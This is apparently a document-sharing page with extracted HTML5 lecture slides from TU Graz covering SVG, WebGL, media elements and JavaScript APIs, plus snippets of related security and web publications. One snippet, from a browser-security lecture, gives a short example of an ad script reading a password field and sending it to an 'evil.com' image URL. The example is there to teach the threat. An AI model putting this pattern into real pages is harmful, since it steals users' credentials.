DOCSLIB.ORG

Web Technologies VU (706.704)

Total Page：16

File Type：pdf, Size：1020Kb

Download full-text PDF Read full-text
Web Technologies VU (706.704) Web Technologies VU (706.704) Vedran Sabol ISDS, TU Graz Nov 09, 2020 Vedran Sabol (ISDS, TU Graz) Web Technologies Nov 09, 2020 1 / 68 Outline 1 Introduction 2 Drawing in the Browser (SVG, 3D) 3 Audio and Video 4 Javascript APIs 5 JavaScript Changes Vedran Sabol (ISDS, TU Graz) Web Technologies Nov 09, 2020 2 / 68 HTML5 - Part II Web Technologies (706.704) Vedran Sabol ISDS, TU Graz Nov 09, 2020 Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 3 / 68 Drawing in the Browser (SVG, 3D) SVG Scalable Vector Graphics (SVG) Web standard for vector graphics (as opposed to canvas - raster-based) Declarative style (as opposed to canvas rendering - procedural) Developed by W3C (http://www.w3.org/Graphics/SVG/) XML application (SVG DTD) http://www.w3.org/TR/SVG11/svgdtd.html SVG is supported by all current browsers Editors Inkscape and svg-edit (Web App) Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 4 / 68 Drawing in the Browser (SVG, 3D) SVG Features Basic shapes: rectangles, circles, ellipses, path, etc. Painting: filling, stroking, etc. Text Example - simple shapes Grouping of basic shapes Transformation: translation, rotation, scale, skew Example - grouping and transforms Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 5 / 68 Drawing in the Browser (SVG, 3D) SVG Features Colors: true color, transparency, gradients, etc. Clipping, masking Filter effects Interactivity: user events Scripting, i.e. JavaScript, supports DOM Animation: attributes, transforms, colors, motion (along paths) Raster images may be embedded (JPEG, GIF, ...) Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 6 / 68 Drawing in the Browser (SVG, 3D) SVG Examples and Tutorials Geoinformation systems: Yosemiti Further resources W3C SVG Reference MDN SVG Element Reference SVG Basics Tutorial SVG Tutorial Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 7 / 68 Drawing in the Browser (SVG, 3D) 3D in browser Many less successful approaches in the past: VRML, Java3D Separate projects by Google, Mozilla and others Khronos Group: Google, Mozilla, Apple, Opera etc (120 members) WebGL: based on OpenGL ES 2.0 (OGL subset) Javascript interface to OpenGL Since OpenGL drivers are installed everywhere ! browser native 3D without plugins WebGL uses canvas element for the graphics context Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 8 / 68 Drawing in the Browser (SVG, 3D) WebGL: examples WebGL examples 22 Experimental WebGL Demo Examples Three.js library: adds a scene graph layer incl. utilities Three.js examples Quake 2 Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 9 / 68 Drawing in the Browser (SVG, 3D) WebGL Good browser support by all browsers in the latest version (incl. mobile) 3D applications possible using WebGL and other HTML5 technologies Shader support (except compute shaders) WebGL 2 (since 2017) based on OGL ES 3.0 Support only by Chrome, Firefox and Opera Further reading Learning WebGL WebGL Tutorial WebGL Fundamentals Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 10 / 68 Audio and Video Video and Audio New elements for video and audio It works only if the format is compatible and if the codecs are integrated in the browser Format wars H.264 (MPEG-4 AVC) most commonly used video format covered by patents (MPEG LA) supported by (almost) all browser-platform combinations Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 11 / 68 Audio and Video Video and audio Initially recommended format Ogg (Theora - video, Vorbis - audio) Free and open protocols (Xiph.Org foundation) not supported by Microsoft IE and Apple WebM avoids MPEG LA patents originaly VP8 - video, Vorbis - audio recently updated to VP9 - video, Opus - audio Royalty-free, open video and audio for HTML5 Support by Google, Opera, Mozilla Partial support by Edge and Safari Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 12 / 68 Audio and Video Video Specify multiple sources in different formats, browser picks format Not advisable: browser detection - complicated, error prone (versions, platforms) ... <video poster="video.jpg" width="640" height="360" controls> <source src="video.mp4" type="video/mp4" /> <source src="video.webm" type="video/webm" /> <source src="video.ogv" type="video/ogg" /> Browser does not support HTML5 video. </video> ... Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 13 / 68 Audio and Video Video: further info and examples As with any other element you can use Javascript to manipulate the element (script your own controls) You can use CSS to style videos, etc. Attributes: autoplay, controls, loop, muted, poster YouTube - browser support YouTube example Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 14 / 68 Audio and Video Audio ... <audio> <source src="test.mp3" type="audio/mpeg" /> <source src="test.ogg" type="audio/ogg" /> </audio> ... Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 15 / 68 Audio and Video Audio: further info and examples Similarly to video you can manipulate the audio element with Javascript and CSS JPlayer, JPlayer Audio Cross-platform, open source player library for HTML5 with Flash fallback, if video and audio tags not supported Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 16 / 68 Javascript APIs HTML5 and Javascript HTML5 is not only markup but combination of markup, presentation (CSS3) and behavior (Javascript) New Javascript APIs Evolved in the last 10 years of the Web development Possibility to write Web Apps Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 17 / 68 Javascript APIs APIs Geolocation: retrieve geographical location (subject to user approval) AppCache: specify which files to cache (available when offline) FileSystem API: access to a sandboxed file system Storage APIs: go far beyond what is possible with cookies Web Storage, Web SQL, Indexed DB Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 18 / 68 Javascript APIs APIs Web Workers: background running scripts WebSocket: bi-directional communication protocol Drag & Drop History: API for manipulating browser history Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 19 / 68 Javascript APIs Geolocation Collects all available location information WLAN, GSM, (mobile) Internet provider Retrieves the geographical coordinates latitude, longitude, accuracy (optionally: altitude, speed, heading) Forward that info to a Geo data provider, e.g. Google Maps Applications, e.g. find local information Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 20 / 68 Javascript APIs Geolocation Privacy concerns However, browsers typically ask for permissions Better protection of privacy then e.g. smartphones Example if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(function(myPos) { ... } } Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 21 / 68 Javascript APIs AppCache Standard browser cache unreliable AppCache: makes Web applications accessible offline Possibility to specify which files should (or should not) be cached Advantages Faster browsing as cached resources are served locally Reduced server and network load Offline browsing of the full site Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 22 / 68 Javascript APIs AppCache To enable the cache for your application you need to specify manifest attribute in every HTML page you want to cache <html manifest="example.appcache"> ... </html> Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 23 / 68 Javascript APIs AppCache In the manifest file you specify which files to cache CACHE MANIFEST index.html stylesheet.css images/logo.png scripts/main.js Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 24 / 68 Javascript APIs AppCache CACHE MANIFEST CACHE: /favicon.ico index.html stylesheet.css images/logo.png scripts/main.js NETWORK: login.php /myapi http://api.twitter.com FALLBACK: /main.py /static.html images/large/ images/offline.jpg *.html /offline.html Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 25 / 68 Javascript APIs AppCache Cached content will be shown until until one of the following happens Cache is cleared (user) Manifest file is changed on the server (comment change will do) Programatically via API check update is ready, swap cache, reload page Further Reading var appCache = window.applicationCache; appCache.update(); ... if (appCache.status == window.applicationCache.UPDATEREADY) { appCache.swapCache(); window.location.reload(); } Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 26 / 68 Javascript APIs FileSystem API Files and directories: creating, navigating, writing, reading, renaming, moving, deleting etc. Complex, powerful API As of today full support in Chrome and recently Opera Access to a sandboxed section of the user's local file system Web apps cannot see each other files or the native file system Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 27 / 68 Javascript APIs FileSystem API Access to a sandboxed file system: LocalFileSystem API LocalFileSystem asynchronous API (and LocalFileSystemSync synchronous API for WebWorkers) Implemented by Window (and WorkerGlobalScope) Create (TEMPORARY or PERSISTENT) storage of requested size window.requestFileSystem(type, size, onInit, onError) Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 28 / 68 Javascript APIs FileSystem API Navigating directory structure DirectoryReader: read the entries in a directory FileEntry, DirectoryEntry: represents a file/directory, properties, manipulation (remove, copy, move...) Support by Chrome and Opera (W3C stopped standardization)
Load more

Recommended publications
  • Browser Code Isolation
    CS 155 Spring 2014 Browser code isolation John Mitchell Modern web sites are complex Modern web “site” Code from many sources Combined in many ways Sites handle sensitive information ! Financial data n" Online banking, tax filing, shopping, budgeting, … ! Health data n" Genomics, prescriptions, … ! Personal data n" Email, messaging, affiliations, … Others want this information ! Financial data n" Black-hat hackers, … ! Health data n" Insurance companies, … ! Personal data n" Ad companies, big government, … Modern web “site” Code from many sources Combined in many ways Basic questions ! How do we isolate code from different sources n" Protecting sensitive information in browser n" Ensuring some form of integrity n" Allowing modern functionality, flexible interaction Example:Library ! Library included using tag n" <script src="jquery.js"></script> ! No isolation n" Same frame, same origin as rest of page ! May contain arbitrary code n" Library developer error or malicious trojan horse n" Can redefine core features of JavaScript n" May violate developer invariants, assumptions jQuery used by 78% of the Quantcast top 10,000 sites, over 59% of the top million Second example: advertisement <script src=“https://adpublisher.com/ad1.js”></script> <script src=“https://adpublisher.com/ad2.js”></script>! ! Read password using the DOM API var c = document.getElementsByName(“password”)[0] Directly embedded third-party JavaScript poses a threat to critical hosting page resources Send it to evil location (not subject to SOP) <img src=``http::www.evil.com/info.jpg?_info_”>
    [Show full text]
  • Seamless Offloading of Web App Computations from Mobile Device to Edge Clouds Via HTML5 Web Worker Migration
    Seamless Offloading of Web App Computations From Mobile Device to Edge Clouds via HTML5 Web Worker Migration Hyuk Jin Jeong Seoul National University SoCC 2019 Virtual Machine & Optimization Laboratory Department of Electrical and Computer Engineering Seoul National University Computation Offloading Mobile clients have limited hardware resources Require computation offloading to servers E.g., cloud gaming or cloud ML services for mobile Traditional cloud servers are located far from clients Suffer from high latency 60~70 ms (RTT from our lab to the closest Google Cloud DC) Latency<50 ms is preferred for time-critical games Cloud data center End device [Kjetil Raaen, NIK 2014] 2 Virtual Machine & Optimization Laboratory Edge Cloud Edge servers are located at the edge of the network Provide ultra low (~a few ms) latency Central Clouds Mobile WiFi APs Small cells Edge Device Cloud Clouds What if a user moves? 3 Virtual Machine & Optimization Laboratory A Major Issue: User Mobility How to seamlessly provide a service when a user moves to a different server? Resume the service at the new server What if execution state (e.g., game data) remains on the previous server? This is a challenging problem Edge computing community has struggled to solve it • VM Handoff [Ha et al. SEC’ 17], Container Migration [Lele Ma et al. SEC’ 17], Serverless Edge Computing [Claudio Cicconetti et al. PerCom’ 19] We propose a new approach for web apps based on app migration techniques 4 Virtual Machine & Optimization Laboratory Outline Motivation Proposed system WebAssembly
    [Show full text]
  • Introduction to Scalable Vector Graphics
    Introduction to Scalable Vector Graphics Presented by developerWorks, your source for great tutorials ibm.com/developerWorks Table of Contents If you're viewing this document online, you can click any of the topics below to link directly to that section. 1. Introduction.............................................................. 2 2. What is SVG?........................................................... 4 3. Basic shapes............................................................ 10 4. Definitions and groups................................................. 16 5. Painting .................................................................. 21 6. Coordinates and transformations.................................... 32 7. Paths ..................................................................... 38 8. Text ....................................................................... 46 9. Animation and interactivity............................................ 51 10. Summary............................................................... 55 Introduction to Scalable Vector Graphics Page 1 of 56 ibm.com/developerWorks Presented by developerWorks, your source for great tutorials Section 1. Introduction Should I take this tutorial? This tutorial assists developers who want to understand the concepts behind Scalable Vector Graphics (SVG) in order to build them, either as static documents, or as dynamically generated content. XML experience is not required, but a familiarity with at least one tagging language (such as HTML) will be useful. For basic XML
    [Show full text]
  • Visualisation of Resource Flows Technical Report
    Visualisation of Resource Flows Technical Report Jesper Karjalainen (jeska043) Erik Johansson (erijo926) Anders Kettisen (andke020) Tobias Nilsson (tobni908) Alexander Eriksson (aleer034) Contents 1. Introduction 1 1.1. Problem description . .1 1.2. Tools . .1 2. Background/Theory 1 2.1. Sphere models . .1 2.2. Vector Graphics . .2 2.3. Cubic Beziers . .2 2.4. Cartesian Mapping of Earth . .3 2.5. Lines in 3D . .3 2.6. Rendering Polygons . .4 2.6.1 Splitting polygons . .4 2.6.2 Tessellate polygons . .4 2.6.3 Filling Polygon by the Stencil Method . .5 2.7. Picking . .5 3. Method 5 3.1. File Loading . .5 3.2. Formatting new files . .6 3.3. Data Management . .6 3.4. Creating the sphere . .6 3.4.1 Defining the first vertices . .6 3.4.2 Making the sphere smooth . .7 3.5. Texturing a Sphere . .8 3.6. Generating Country Borders . .8 3.7. Drawing 3D lines . 10 3.8. Assigning widths to flow lines . 12 3.8.1 Linear scaling . 12 3.8.2 Logarithmic scaling . 12 3.9. Drawing Flow Lines . 12 3.10.Picking . 13 3.10.1 Picking on Simple Geometry . 13 3.10.2 Picking on Closed Polygon . 14 3.11.Rendering Polygons . 14 3.11.1 Concave Polygon Splitting into Convex Parts . 14 3.11.2 Filling by the Stencil Buffer Method . 16 3.12.Shader Animations . 16 3.12.1 2D-3D Transition Animation . 16 3.12.2 Flowline Directions . 17 3.13.User interface . 17 3.13.1 Connecting JavaScript and C++ . 17 3.13.2 Filling the drop-down lists with data .
    [Show full text]
  • Progressive Imagery with Scalable Vector Graphics -..:: VCG Rostock
    Progressive imagery with scalable vector graphics Georg Fuchsa, Heidrun Schumanna, and Ren´eRosenbaumb aUniversity of Rostock, Institute for Computer Science, 18051 Rostock, Germany; bUC Davis, Institute of Data Analysis & Visualization, Davis, CA 95616 U.S.A. ABSTRACT Vector graphics can be scaled without loss of quality, making them suitable for mobile image communication where a given graphics must be typically represented in high quality for a wide range of screen resolutions. One problem is that file size increases rapidly as content becomes more detailed, which can reduce response times and efficiency in mobile settings. Analog issues for large raster imagery have been overcome using progressive refinement schemes. Similar ideas have already been applied to vector graphics, but an implementation that is compliant to a major and widely adopted standard is still missing. In this publication we show how to provide progressive refinement schemes based on the extendable Scalable Vector Graphics (SVG) standard. We propose two strategies: decomposition of the original SVG and incremental transmission using (1) several linked files and (2) element-wise streaming of a single file. The publication discusses how both strategies are employed in mobile image communication scenarios where the user can interactively define RoIs for prioritized image communication, and reports initial results we obtained from a prototypically implemented client/server setup. Keywords: Progression, Progressive refinement, Scalable Vector Graphics, SVG, Mobile image communication 1. INTRODUCTION Vector graphics use graphic primitives such as points, lines, curves, and polygons to represent image contents. As those primitives are defined by means of geometric coordinates that are independent of actual pixel resolutions, vector graphics can be scaled without loss of quality.
    [Show full text]
  • SVG Exploiting Browsers Without Image Parsing Bugs
    SVG Exploiting Browsers without Image Parsing Bugs Rennie deGraaf iSEC Partners 07 August 2014 Rennie deGraaf (iSEC Partners) SVG Security BH USA 2014 1 / 55 Outline 1 A brief introduction to SVG What is SVG? Using SVG with HTML SVG features 2 Attacking SVG Attack surface Security model Security model violations 3 Content Security Policy A brief introduction CSP Violations 4 Conclusion Rennie deGraaf (iSEC Partners) SVG Security BH USA 2014 2 / 55 A brief introduction to SVG What is SVG? What is SVG? Scalable Vector Graphics XML-based W3C (http://www.w3.org/TR/SVG/) Development started in 1999 Current version is 1.1, published in 2011 Version 2.0 is in development First browser with native support was Konqueror in 2004; IE was the last major browser to add native SVG support (in 2011) Rennie deGraaf (iSEC Partners) SVG Security BH USA 2014 3 / 55 A brief introduction to SVG What is SVG? A simple example Source code <? xml v e r s i o n = ” 1 . 0 ” encoding = ”UTF-8” standalone = ” no ” ? > <svg xmlns = ” h t t p : // www. w3 . org / 2 0 0 0 / svg ” width = ” 68 ” h e i g h t = ” 68 ” viewBox = ”-34 -34 68 68 ” v e r s i o n = ” 1 . 1 ” > < c i r c l e cx = ” 0 ” cy = ” 0 ” r = ” 24 ” f i l l = ”#c8c8c8 ” / > < / svg > Rennie deGraaf (iSEC Partners) SVG Security BH USA 2014 4 / 55 A brief introduction to SVG What is SVG? A simple example As rendered Rennie deGraaf (iSEC Partners) SVG Security BH USA 2014 5 / 55 A brief introduction to SVG What is SVG? A simple example I am not an artist.
    [Show full text]
  • Document Object Model
    Document Object Model CITS3403: Agile Web Development Semester 1, 2021 Introduction • We’ve seen JavaScript core – provides a general scripting language – but why is it so useful for the web? • Client-side JavaScript adds collection of objects, methods and properties that allow scripts to interact with HTML documents dynamic documents client-side programming • This is done by bindings to the Document Object Model (DOM) – “The Document Object Model is a platform- and language-neutral interface that will allow programs and scripts to dynamically access and update the content, structure and style of documents.” – “The document can be further processed and the results of that processing can be incorporated back into the presented page.” • DOM specifications describe an abstract model of a document – API between HTML document and program – Interfaces describe methods and properties – Different languages will bind the interfaces to specific implementations – Data are represented as properties and operations as methods • https://www.w3schools.com/js/js_htmldom.asp The DOM Tree • DOM API describes a tree structure – reflects the hierarchy in the XTML document – example... <html xmlns = "http://www.w3.org/1999/xhtml"> <head> <title> A simple document </title> </head> <body> <table> <tr> <th>Breakfast</th> <td>0</td> <td>1</td> </tr> <tr> <th>Lunch</th> <td>1</td> <td>0</td> </tr> </table> </body> </html> Execution Environment • The DOM tree also includes nodes for the execution environment in a browser • Window object represents the window displaying a document – All properties are visible to all scripts – Global variables are properties of the Window object • Document object represents the HTML document displayed – Accessed through document property of Window – Property arrays for forms, links, images, anchors, … • The Browser Object Model is sometimes used to refer to bindings to the browser, not specific to the current page (document) being rendered.
    [Show full text]
  • Webgl™ Optimizations for Mobile
    WebGL™ Optimizations for Mobile Lorenzo Dal Col Senior Software Engineer, ARM 1 Agenda 1. Introduction to WebGL™ on mobile . Rendering Pipeline . Locate the bottleneck 2. Performance analysis and debugging tools for WebGL . Generic optimization tips 3. PlayCanvas experience . WebGL Inspector 4. Use case: PlayCanvas Swooop . ARM® DS-5 Streamline . ARM Mali™ Graphics Debugger 5. Q & A 2 Bring the Power of OpenGL® ES to Mobile Browsers What is WebGL™? Why WebGL? . A cross-platform, royalty free web . It brings plug-in free 3D to the web, standard implemented right into the browser. Low-level 3D graphics API . Major browser vendors are members of . Based on OpenGL® ES 2.0 the WebGL Working Group: . A shader based API using GLSL . Apple (Safari® browser) . Mozilla (Firefox® browser) (OpenGL Shading Language) . Google (Chrome™ browser) . Opera (Opera™ browser) . Some concessions made to JavaScript™ (memory management) 3 Introduction to WebGL™ . How does it fit in a web browser? . You use JavaScript™ to control it. Your JavaScript is embedded in HTML5 and uses its Canvas element to draw on. What do you need to start creating graphics? . Obtain WebGLrenderingContext object for a given HTMLCanvasElement. It creates a drawing buffer into which the API calls are rendered. For example: var canvas = document.getElementById('canvas1'); var gl = canvas.getContext('webgl'); canvas.width = newWidth; canvas.height = newHeight; gl.viewport(0, 0, canvas.width, canvas.height); 4 WebGL™ Stack What is happening when a WebGL page is loaded . User enters URL . HTTP stack requests the HTML page Browser . Additional requests will be necessary to get Space User JavaScript™ code and other resources WebKit JavaScript Engine .
    [Show full text]
  • Amazon Silk Developer Guide Amazon Silk Developer Guide
    Amazon Silk Developer Guide Amazon Silk Developer Guide Amazon Silk: Developer Guide Copyright © 2015 Amazon Web Services, Inc. and/or its affiliates. All rights reserved. The following are trademarks of Amazon Web Services, Inc.: Amazon, Amazon Web Services Design, AWS, Amazon CloudFront, AWS CloudTrail, AWS CodeDeploy, Amazon Cognito, Amazon DevPay, DynamoDB, ElastiCache, Amazon EC2, Amazon Elastic Compute Cloud, Amazon Glacier, Amazon Kinesis, Kindle, Kindle Fire, AWS Marketplace Design, Mechanical Turk, Amazon Redshift, Amazon Route 53, Amazon S3, Amazon VPC, and Amazon WorkDocs. In addition, Amazon.com graphics, logos, page headers, button icons, scripts, and service names are trademarks, or trade dress of Amazon in the U.S. and/or other countries. Amazon©s trademarks and trade dress may not be used in connection with any product or service that is not Amazon©s, in any manner that is likely to cause confusion among customers, or in any manner that disparages or discredits Amazon. All other trademarks not owned by Amazon are the property of their respective owners, who may or may not be affiliated with, connected to, or sponsored by Amazon. AWS documentation posted on the Alpha server is for internal testing and review purposes only. It is not intended for external customers. Amazon Silk Developer Guide Table of Contents What Is Amazon Silk? .................................................................................................................... 1 Split Browser Architecture ......................................................................................................
    [Show full text]
  • Learning HTML5 Game Programming Addison-Wesley Learning Series
    Learning HTML5 Game Programming Addison-Wesley Learning Series Visit informit.com/learningseries for a complete list of available publications. The Addison-Wesley Learning Series is a collection of hands-on programming guides that help you quickly learn a new technology or language so you can apply what you’ve learned right away. Each title comes with sample code for the application or applications built in the text. This code is fully annotated and can be reused in your own projects with no strings attached. Many chapters end with a series of exercises to encourage you to reexamine what you have just learned, and to tweak or adjust the code as a way of learning. Titles in this series take a simple approach: they get you going right away and leave you with the ability to walk off and build your own application and apply the language or technology to whatever you are working on. Learning HTML5 Game Programming A Hands-on Guide to Building Online Games Using Canvas, SVG, and WebGL James L. Williams Upper Saddle River, NJ • Boston • Indianapolis • San Francisco New York • Toronto • Montreal • London • Munich • Paris • Madrid Cape Town • Sydney • Tokyo • Singapore • Mexico City Many of the designations used by manufacturers and sellers to distinguish their products Associate are claimed as trademarks. Where those designations appear in this book, and the publish- Publisher er was aware of a trademark claim, the designations have been printed with initial capital Mark Taub letters or in all capitals. Senior Acquisitions The author and publisher have taken care in the preparation of this book, but make no Editor expressed or implied warranty of any kind and assume no responsibility for errors or omis- Trina MacDonald sions.
    [Show full text]
  • MS 20480C: Programming in HTML5 with Javascript and CSS3
    MS 20480C: Programming in HTML5 With JavaScript and CSS3 Days: 5 Prerequisites: This course is intended for students who have the following experience: 1 – 3 months experience creating Web applications, including writing simple JavaScript code 1 month experience creating Windows client applications 1 month of experience using Visual Studio 2017. Audience: This course is intended for professional developers who have 6-12 months of programming experience and who are interested in developing applications using HTML5 with JavaScript and CSS3 (either Windows Store apps for Windows 10 or web applications). Course Objectives: After taking this course students will be able to: Explain how to use Visual Studio 2012 to create and run a Web application. Describe the new features of HTML5, and create and style HTML5 pages. Add interactivity to an HTML5 page by using JavaScript. Create HTML5 forms by using different input types, and validate user input by using HTML5 attributes and JavaScript code. Send and receive data to and from a remote data source by using XMLHTTP Request objects and Fetch API Style HTML5 pages by using CSS3. Create a well-structured and easily-maintainable JavaScript code. Write modern JavaScript code and use babel to make it compatible to all browsers Create web applications that support offline operations Create HTML5 Web pages that can adapt to different devices and form factors. Add advanced graphics to an HTML5 page by using Canvas elements, and by using and Scalable Vector Graphics. Enhance the user experience by adding animations to an HTML5 page. Use Web Sockets to send and receive data between a Web application and a server.
    [Show full text]
  • Framework for Developing Offline HTML5 Applications
    MASARYK UNIVERSITY FACULTY}w¡¢£¤¥¦§¨ OF I !"#$%&'()+,-./012345<yA|NFORMATICS Framework for Developing Offline HTML5 Applications DIPLOMA THESIS Petr Kunc Brno, 2013 Declaration Hereby I declare, that this paper is my original authorial work, which I have worked out by my own. All sources, references and literature used or excerpted during elaboration of this work are properly cited and listed in complete reference to the due source. Advisor: doc. RNDr. Tomás Pitner, PhD. ii Acknowledgement Above all, I would like to thank my advisor doc. RNDr. Tomáš Pitner, PhD. for leading not only this diploma thesis but also for leading me during my studies. I would also like to thank my colleagues in Laboratory of Software Architectures and Information Systems, especially Mgr. Filip Nguyen and Mgr. Daniel Tovarˇnákfor priceless advice on implementation and for providing their knowledge. Nevertheless, I would like to thank my colleagues in Celebrio Software company. iii Abstract The aim of this thesis is to provide detailed information about developing offline web ap- plications. The thesis presents important technologies in the development and mostly deals with Application cache technology. It summarizes advantages and also disadvantages and problems of the technology. Then, it offers solutions to some of the problems and introduces framework for build- ing offline web applications more sophisticatedly. At last, demonstration application is pre- sented which shows the benefits of proposed technology. iv Keywords HTML5, offline, web applications, application
    [Show full text]